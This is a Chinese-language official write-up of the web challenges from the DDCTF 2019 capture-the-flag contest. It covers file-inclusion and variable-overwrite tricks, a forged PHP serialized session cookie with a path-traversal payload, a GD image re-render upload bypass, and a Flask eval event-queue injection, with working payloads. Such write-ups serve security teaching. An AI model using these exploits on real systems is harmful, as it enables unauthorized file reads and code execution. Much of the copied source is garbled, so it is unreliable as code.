【知识库】DDCTF2019官方Write Up——Web篇(一)

百家 作者:滴滴安全应急响应中心 2019-04-27 06:10:31

官方writeup公布时间线



Web作者:cl0und

成都信息工程大学/大三/Web Top1


文章目录

Web  Write Up(所有题目均含出题人解析)

0x01 :滴~

0x02 :WEB 签到题

0x03 :Upload-IMG

0x04 :homebrew event loop

0x05 :欢迎报名DDCTF(见第二篇)

0x06 :大吉大利,今晚吃鸡~(见第二篇)

0x07 :mysql弱口令(见第二篇)

0x08 :再来1杯Java(见第二篇)

01

滴~

本题的定位是签到题,所以出题点还是常见的编解码、变量覆盖、过滤等。题目整体较为简单,但埋了个“坑”。主旨还是在提醒大家多关注细节并且多尝试。跟预期情况差不多,“心情复杂”、“骂出题人的....”。题目设计中有三次会提醒引导至关键文章
1.代码中的另一提示“日期”。
2.翻文章肯定会翻评论,前人思路...。
3.博客的特点,“热评文章”、“最近评论”会显示在该博客主人的其他文章中。

--------------选手Write Up--------------

题目链接:http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09 首页是是一张图片

结合jpg参数怀疑存在文件包含漏洞,其加密方法是先ascii hex再经过两次base64

知道加密方法后可以读index.php文件

< ?php
/*
*    https://blog.csdn.net/FengBanLiuYun/article/details/80616607
*    Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8'); if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz0
9'
);
$file = hex2bin(base64_decode(base64_decode($_GET['jpg']))); echo ''.$_GET['jpg'].'';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file); echo $file.'';
$file = str_replace("config","!", $file); echo $file.'';
$txt = base64_encode(file_get_contents($file));

echo ".$txt."'>";
/*
*    Can you find the flag file?

*
*/

?>

网上搜代码可以发现这和之前某春秋的题目非常类似,diff一下出题点应该在https://blog.csdn.net/FengBanLiuYun/article/details/80616607根据提示的日期 Date: July 4,2018 可以找到对应的博文


这里卡了好久各种试已知路径的swp文件,最后发现访问

http://117.51.150.26/practice.txt.swp 有反应,提示了flag文件位置。

因为index.php中把解码后的文件名用以下正则做了过滤,不允许有了除了 . 之外的特殊符号而flag 文件中含有 ! 所以无法直接阅读文件内容。

$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);

不过这段在进行正则过滤后又进行了二次过滤代码如下,恰巧又是用 ! ,所以可以用文件名

$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);

不过这段在进行正则过滤后又进行了二次过滤代码如下,恰巧又是用 ! ,所以可以用文件名
flagconfigddctf.php 绕过

$file = str_replace("config","!", $file);

接着读 flag!ddctf.php


< ?php include('config.php');
$k = 'hello'; extract($_GET);

if(isset($uid))
{
$content=trim(file_get_contents($k)); if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}

?>


extract($_GET); 

这里有一个明显的变量覆盖漏洞,把 k 覆盖成vps地址, uid 参数与vps地址内容保持相同即可,如图

02

WEB 签到题

WEB签到题作为签到题只能算做中规中矩,非常清晰、简单的代码审计及其利用链路,http header自定义参数处越权、sprintf格式化注入、Session处反序列化及正则绕过。

--------------选手Write Up--------------

题目链接:http://117.51.158.44/index.php 直接登陆会提示权限不够


抓包分析可以看到有个明显的header头 didictf_username


把它改成 admin 即可正常访问


访问可以拿到两个php文件源码

url:app/Application.php

Class Application { var $path = '';


public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg, 'data' => $data];
$ret = json_encode($ret); header('Content-type: application/json'); echo $ret;

}

public function auth() {
$DIDICTF_ADMIN = 'admin';

if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DID ICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cd

h.php'
);



r');


return TRUE;
}else{
$this->response('
抱歉,您没有登陆权限,请获取权限后访问-----','erro

exit();

}

}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\','',$path); return $path;
}

public function destruct() { if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path); if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}

url:app/Session.php

include 'Application.php';
class Session extends Application {

//key建议为8位字符串
var $eancrykey    = '';
var $cookie_expiration    = 7200;
var $cookie_name    = 'ddctf_id';
var $cookie_path    = '';
var $cookie_domain    = '';
var $cookie_secure    = FALSE;
var $activity    = "DiDiCTF";


public function index()
{
if(parent::auth()) {

$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']); parent:
:response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you'; parent::response($data,'sucess');
}
}

}

private function get_key() {
//eancrykey    and flag under the folder
$this->eancrykey =    file_get_contents('../config/key.txt');
}

public function session_read() { if(empty($_COOKIE))  { return FALSE;
}

$session = $_COOKIE[$this->cookie_name]; if(!isset($session)) {
parent::response("session not found",'error'); return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);

if($hash !== md5($this->eancrykey.$session)) { parent::response("the cookie data not match",'error'); return FALSE;
}
$session = unserialize($session);


if(!is_array($session) OR !isset($session['session_id']) OR !isset ($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}

if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s"; foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}


if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) { parent::response('the ip addree not match'.'error'); return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) { parent::response('the user agent not match','error'); return FALSE;
}
return TRUE;

}

private function session_create() {
$sessionid = ''while(strlen($sessionid) <  32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}

$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)), 'ip_address' => $_SERVER['REMOTE_ADDR'], 'user_agent' => $_SERVER['HTTP_USER_AGENT'], 'user_data' => '',
);

$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time(); setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);

}
}

$ddctf = new Session();
$ddctf->index();

主要的逻辑点在 session_read 和 session_create 上, session_create 会对一个数组的类型的数据进行序列化并签名, session_read 会根据签名验证序列化的数据是否被篡改,如果没有被篡改那么就进行反序列化。显然这是一道考察反序列化知识点的题目,可利用的魔术方法是

Application.php 中的    destruct ,这个类对应的对象在析构的时候会去文件内容并返回。

唯一需要解决的问题是如何拿到 eancrykey ,代码中和key操作相关的是 session_read 这一段

if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s"; foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

这里把 eancrykey 也带入了循环,所以只要nickname中有 %s 即可读出,具体操作如下

有了 eancrykey 就可以随便签名了,下面是最终payload

< ?php

include 'Application.php';
$eancrykey = "EzblrbNS";

$sessionid = ''while(strlen($sessionid) <  32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}

$poc = new Application();
$poc->path = "..././config/flag.txt";

$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)), 'ip_address' => $_SERVER['REMOTE_ADDR'], 'user_agent' => $_SERVER['HTTP_USER_AGENT'], 'user_data' => '',
'flag' => $poc,
);

$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($eancrykey.$cookiedata); echo "-----------------------------------------------n";
var_dump($cookiedata);

03

Upload-IMG


送命题,下一位

--------------选手Write Up--------------

题目链接:http://117.51.148.166/upload.php

上传图片再去访问图片可以发现文件头有php gd的字样,结合题意(处理后的图片中要有phpinfo字样)猜测考的是PHP GD库二次渲染绕过,网上已经有很多相关文章。

工具在https://wiki.ioin.in/soft/detail/1q可以下载

经验就是

1、图片找的稍微大一点 成功率更高

2、shell语句越短成功率越高

3、一张图片不行就换一张 不要死磕

4、可以把gd处理的图片再用工具跑一遍再传

5、看脸

搞了几个小时之后出flag了。。。

04

homebrew event loop

这题是参考了pwn的ROP思想写出来的,为丰富题目背景强行加了一些梗和元素,比如包含敏感信息的'log'、event loop queue之类的,因为很简单所以也没什么好多说的了,希望大家玩的开心。

--------------选手Write Up--------------

题目链接:http://116.85.48.107:5002/d5af31f88147e857/ 题目源码

Download this .py file Go back to index.html
# -*- encoding: utf-8 -*- # written in python 2.7
     author     = 'garzon'

from flask import Flask, session, request, Response

import urllib

app = Flask( name )
app.secret_key = '*********************' # censored url_prefix = '/d5af31f88147e857'

def FLAG():
return 'FLAG_is_here_but_i_wont_show_you'    # censored

def trigger_event(event): session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:] if type(event) == type([]):
request.event_queue += event else:
request.event_queue.append(event)

def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):] if postfix is not None:
haystack = haystack[:haystack.find(postfix)] return haystack

class RollBackException: pass

def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRS TUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0# `event` is something like "actio n:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:''func:')): continue for c in event:
if c not in valid_event_chars: break else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':'';')
args = get_mid_str(event, action+';').split('#'try:


'_function'))

event_handler = eval(action + ('_handler' if is_action els

ret_val = event_handler(args)




/>'

except RollBackException:
if resp is None: resp = '
'
resp += '
ERROR! All transactions have been cancelled. 

resp += 'Go back to index.h

tml

'



session['num_items'] = request.prev_session['num_items'] session['points'] = request.prev_session['points']

break
except Exception, e:
if resp is None: resp = ''
#resp += str(e) # only for debugging continue
if ret_val is not None:
if resp is None: resp = ret_val else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND'404) session.modified = True
return resp

app.route(url_prefix+'/'def entry_point():
querystring = urllib.unquote(request.query_string) request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len (querystring) > 100:
querystring = 'action:index;False#False' if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3 session['log'] = []
request.prev_session = dict(session) trigger_event(querystring)
return execute_event_loop()
# handlers/functions below -------------------------------------- def view_handler(args):
page = args[0] html = ''
html += '[INFO] you have {} diamonds, {} points now.
'
.format(ses sion['num_items'], session['points'])
if page == 'index':
html += 'View source code
'

html += 'Go to e-shop
'
 html += 'Reset
'

elif page == 'shop':
html += 'Buy a diamond (1 point)
/>'

elif page == 'reset':
del session['num_items']
html += 'Session reset.
'

html += 'Go back to index.html
>'

return html

def index_handler(args): bool_show_source = str(args[0]) bool_download_source = str(args[1])

if bool_show_source == 'True':

source = open('eventLoop.py''r') html = ''
if bool_download_source != 'True':
html += 'Download this . py file
'

html += 'Go back to index.html

'


for line in source:
if bool_download_source != 'True':
html += line.replace('&','&').replace('t'' '*4).replace (' ',' ').replace('< ''< ').replace('>','>').replace('n''
'
)
else:
html += line source.close()

if bool_download_source == 'True': headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.p
y'

return Response(html, headers=headers) else:
return html
else:
trigger_event('action:view;index')

def buy_handler(args): num_items = int(args[0])
if num_items < = 0return 'invalid number({}) of diamonds to buy
>'
.format(args[0]) session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:vie w;index'])

def consume_point_function(args): point_to_consume = int(args[0])
if session['points'] <  point_to_consume: raise RollBackException() session['points'] -= point_to_consume

def show_flag_function(args): flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) 
'


def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries

trigger_event('action:view;index')

if   name     == ' main ': app.run(debug=False, host='0.0.0.0')

通读一遍代码之后可以发现这个题的代码逻辑和常规的flask开发不太一样

路由和功能的绑定

通常flask代码是用 @app.route('/path')  装饰一个方法的形式来做路由,但是这段代码按照第一个 ; 和第一个 # 分割路由和传入功能的参数,并且在eval那点的字符串可控

路由的异步性

要进行的操作都会放在一个队列里面,先进队列的先执行。

后续的购买操作同样是这样,买东西的时候并不会立刻check是否点数合乎要求,而是先把

num_items 加上在被check路由放进队列。

代码注入意味着我可以劫持程序运行的流程,结合路由的特性我可以直接注入我想要几个的操作一及其参数一次性加入到路由队列中( buy_handler + get_flag ),又因为路由的异步性

check路由在我 get_flag  路由之后,这样就可以在check金钱是否合理之前拿到flag。程序会把flag放在session中而根据flask客户端session的特性即可读出flag

最终payload如下

action:trigger_event#;action:buy;10#action:get_flag;#a:show_flag;1
python decodeflask.py .eJxtzlFrwjAUBeC_MvLsQ9oiXQo-KDMFIYZtmUkzxmiMk8YkltX aLeJ_X_FBcPbtwjl895yA3W9B9n4CDwpkoOBLWHLUUv_yW3LtpVh8SSGt8s-Gxtjo3B6VqSstd ilhU3PtO201Rk7l2NNuMgHn0R3pFtGGNT9keonv0v_Ax1WQftUWoTYqHgfNIyuS2bHkY0jDvBu QvKylWKd9YyfF9iLdQqHMUSJi2RR8nZKkgGT1GLRZtv2AhjzNOhFjKvsxbI7Za4QMg-hb5W9Ds weeAd-6z-qwcQ3I4AjU-8of-jM5_wEps3QC.D5IA3A.NigoaBZy6wUzszTAv0mYX2jqdu4
{u'points'3u'num_items'0u'log': ['action:trigger_event#;action:bu y;10#action:get_flag;', ['action:buy;10''action:get_flag;'], ['func:cons ume_point;10''action:view;index'], 'func:show_flag;3v41_3v3nt_l00p_aNd_f LASK_cOOkle''action:view;index']}


0x05 :欢迎报名DDCTF(见第二篇)

0x06 :大吉大利,今晚吃鸡~(见第二篇)

0x07 :mysql弱口令(见第二篇)

0x08 :再来1杯Java(见第二篇)

【知识库】DDCTF2019官方Write Up——Misc篇(二)

————— End —————

    延伸阅读    

【知识库】DDCTF2019官方Write Up——Android篇

【知识库】DDCTF2019官方Write Up——Reverse篇

【知识库】DDCTF2019官方Write Up——Misc篇

官网题目仍开放访问,点击“阅读原文“前往

    关于漏洞    

滴滴出行相关漏洞请提交至

http://sec.didichuxing.com/


关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接